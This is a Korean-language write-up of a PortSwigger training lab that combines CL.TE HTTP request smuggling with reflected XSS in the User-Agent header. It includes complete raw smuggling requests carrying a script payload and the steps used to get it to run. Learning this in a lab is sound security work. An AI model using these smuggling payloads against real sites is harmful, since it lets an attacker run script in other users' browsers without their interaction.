개요
- HTTP Request Smuggling 취약점 문제이다.
- 문제 주소: https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss
- 취약점 설명페이지1: https://portswigger.net/web-security/request-smuggling
- 취약점 설명페이지2: https://portswigger.net/web-security/request-smuggling/exploiting
- 난이도: PRACTITIONER (보통)
취약점 개요 (Using HTTP request smuggling to exploit reflected XSS)
웹 어플리케이션에 HTTP 요청 스머글링이 가능하고, 반사형 XSS 취약점이 존재한다면, 스머글링을 통해 다른 유저에게 XSS 공격을 할 수 있다. 이 공격은 보통의 XSS보다 훨씬 강력한데, 이유는 다음 두 가지다.
- 유저의 인터랙션이 필요없다! 💣 즉, 유저에게 URL을 보내고 방문하는 것을 기다릴 필요가 없다.
- 보통의 반사형 XSS에서는 공격에 사용할 수 없는 부분 (예를들면 HTTP요청 헤더)에 까지 XSS 페이로드를 지정할 수 있다. (보통의 반사형 XSS에서는 URL에 지정가능한 파라메터가 HTTP응답에 나타나서 발생하는 방식이다. 따라서 공격가능 포인트는 파라메터가 된다.)
예를 들면 다음과 같다. 스머글링용 요청의 User-Agent 헤더에 XSS 페이로드가 지정되어 있다.
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X
랩 개요
- 이 랩은 프론트 엔드 서버와 백엔드 서버로 구성되어 있다. 프론트 엔드 서버는 chunked encoding(TE헤더)을 지원하지 않는다. (즉, CL.TE패턴이다.)
- 어플리케이션에는 User-Agent 헤더에 반사형 XSS취약점이 있다.
- 랩을 풀려면 백엔드 서버에게 HTTP요청을 밀반입해서, 다른 유저의 요청에 대한 응답으로 XSS페이로드를 포함한 응답이 돌아가도록 만들어 alert(1)을 동작시키면 된다.
- 랩은 Victim의 행동을 시뮬레이션하고 있다. 몇 개의 POST요청이 발생할 때마다 victim도 요청을 보낸다.
This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding.
The application is also vulnerable to reflected XSS via the User-Agent header.
To solve the lab, smuggle a request to the back-end server that causes the next user's request to receive a response containing an XSS exploit that executes alert(1).
The lab simulates the activity of a victim user. Every few POST requests that you make to the lab, the victim user will make their own request. You might need to repeat your attack a few times to ensure that the victim user's request occurs as required.
풀이
-
문제를 풀려면 두 가지가 확인되어야 한다. 먼저 HTTP Request Smuggling이 가능한 곳을 찾아야 한다. 그리고 User-Agent로 반사형 XSS가 가능한 곳을 찾아야 한다.
-
XSS가 가능한 곳은 Burp Scanner를 통해서 찾았다. 포스트의 상세를 조회하는 곳
GET /post?postId=1
이었다. -
다음 공격 페이로드를 준비했다.
POST / HTTP/1.1
Host: 0a1300a203e4364c80bad0960051006c.web-security-academy.net
Cookie: session=uiMLoWX19LHH2HSGHxnXw1HI7Nygc0ft
Content-Length: 79
Transfer-Encoding: chunked
0
GET /post?postId=1 HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X
- 요청을 두번보내면 응답에서 다음과 같이
<script>alert(1)</script>
가 표시되고 있는 것을 볼 수 있다.
- 페이로드가 HTML 엘레먼트로 동작되도록 앞에
"/>
를 붙여준다. 그러면 다음과 같이<script>
태그가 밖으로 나온다. 이 상태라면 Javascript가 동작한다.
- 페이로드를 다시 보낸다. 그러면 Victim이 사이트에 찾아오는 시뮬레이션이 수행되고 문제가 풀렸다는 메세지가 표시된다.